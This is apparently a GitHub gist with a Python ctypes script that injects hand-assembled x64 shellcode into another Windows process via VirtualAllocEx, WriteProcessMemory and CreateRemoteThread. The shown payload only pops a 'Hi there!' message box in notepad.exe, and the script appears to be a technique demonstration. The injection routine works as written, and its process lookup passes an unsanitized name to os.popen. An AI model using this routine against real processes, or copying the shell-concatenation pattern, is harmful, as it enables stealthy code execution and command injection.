Last active
October 18, 2022 06:49
-
-
Save eternaleclipse/187bbf9d45dc5e145ca85996768f1215 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ctypes | |
import os | |
import sys | |
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) | |
def resolve_function(dll, func): | |
kernel32 = ctypes.windll.kernel32 | |
kernel32.GetModuleHandleW.argtypes = [ctypes.c_wchar_p] | |
kernel32.GetModuleHandleW.restype = ctypes.c_void_p | |
kernel32.GetProcAddress.argtypes = [ctypes.c_void_p, ctypes.c_char_p] | |
kernel32.GetProcAddress.restype = ctypes.c_void_p | |
handle = kernel32.GetModuleHandleW(dll) | |
address = kernel32.GetProcAddress(handle, func) | |
return address | |
def inject(pid, message): | |
hProcess = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid) | |
if not hProcess: | |
print("[-] Failed to open process") | |
return False | |
# Fix VirtualAllocEx argtypes and restype | |
alloc_func = ctypes.windll.kernel32.VirtualAllocEx | |
alloc_func.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_ulong, ctypes.c_ulong] | |
alloc_func.restype = ctypes.c_void_p | |
msg_addr = alloc_func(hProcess, 0, len(message), 0x3000, 0x40) | |
if not msg_addr: | |
print("[-] Failed to allocate memory") | |
return False | |
print(f"[+] Allocated memory at {msg_addr}") | |
# Fix WriteProcessMemory argtypes and restype | |
write_func = ctypes.windll.kernel32.WriteProcessMemory | |
write_func.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_void_p] | |
write_func.restype = ctypes.c_bool | |
# Write the message into the process | |
nSize = ctypes.c_size_t(len(message)) | |
lpNumberOfBytesWritten = ctypes.c_size_t(0) | |
res = ctypes.windll.kernel32.WriteProcessMemory(hProcess, msg_addr, message, nSize, ctypes.byref(lpNumberOfBytesWritten)) | |
if res == 0: | |
print("[-] Failed to write memory: ", ctypes.GetLastError()) | |
return False | |
# x64 shellcode to call MessageBoxA | |
shellcode = b"" | |
# xor rcx, rcx ; hWnd = NULL | |
shellcode += b"\x48\x31\xc9" | |
# mov rdx, msg_addr ; lpText | |
shellcode += b"\x48\xba" + msg_addr.to_bytes(8, "little") | |
# mov r8, msg_addr ; lpCaption | |
shellcode += b"\x49\xb8" + msg_addr.to_bytes(8, "little") | |
# xor r9, r9 ; uType | |
shellcode += b"\x4d\x33\xc9" | |
# mov rax, MessageBoxA | |
shellcode += b"\x48\xb8" + resolve_function("user32.dll", b"MessageBoxA").to_bytes(8, "little") | |
# sub rsp, 0x38 ; reserve space for arguments | |
shellcode += b"\x48\x83\xec\x38" | |
# call rax ; call MessageBoxA | |
shellcode += b"\xff\xd0" | |
# mov rax, ExitThread | |
shellcode += b"\x48\xb8" + resolve_function("kernel32.dll", b"ExitThread").to_bytes(8, "little") | |
# call rax ; call ExitThread | |
shellcode += b"\xff\xd0" | |
# Allocate memory for shellcode | |
shellcode_addr = alloc_func(hProcess, 0, len(shellcode), 0x3000, 0x40) | |
if not shellcode_addr: | |
print("[-] Failed to allocate memory") | |
return False | |
print(f"[+] Allocated memory for shellcode at {hex(shellcode_addr)}") | |
# Write the shellcode into the process | |
nSize = ctypes.c_size_t(len(shellcode)) | |
lpNumberOfBytesWritten = ctypes.c_size_t(0) | |
res = ctypes.windll.kernel32.WriteProcessMemory(hProcess, shellcode_addr, shellcode, nSize, ctypes.byref(lpNumberOfBytesWritten)) | |
if res == 0: | |
print("[-] Failed to write memory: ", ctypes.GetLastError()) | |
return False | |
print("[+] Wrote shellcode to memory") | |
# Fix CreateRemoteThread argtypes and restype | |
thread_func = ctypes.windll.kernel32.CreateRemoteThread | |
thread_func.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_ulong, ctypes.c_void_p] | |
thread_func.restype = ctypes.c_void_p | |
# Create a remote thread to execute the shellcode | |
hThread = thread_func(hProcess, 0, 0, shellcode_addr, 0, 0, 0) | |
if not hThread: | |
print("[-] Failed to create remote thread") | |
return False | |
print("[+] Thread created") | |
def get_pid(name): | |
pid = os.popen("tasklist | findstr /i " + name).read().split()[1] | |
print("[+] Pid of " + name + ": " + pid) | |
return int(pid) | |
if len(sys.argv) == 1: | |
sys.argv += ["notepad.exe"] | |
inject(get_pid(sys.argv[1]), b"Hi there!") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment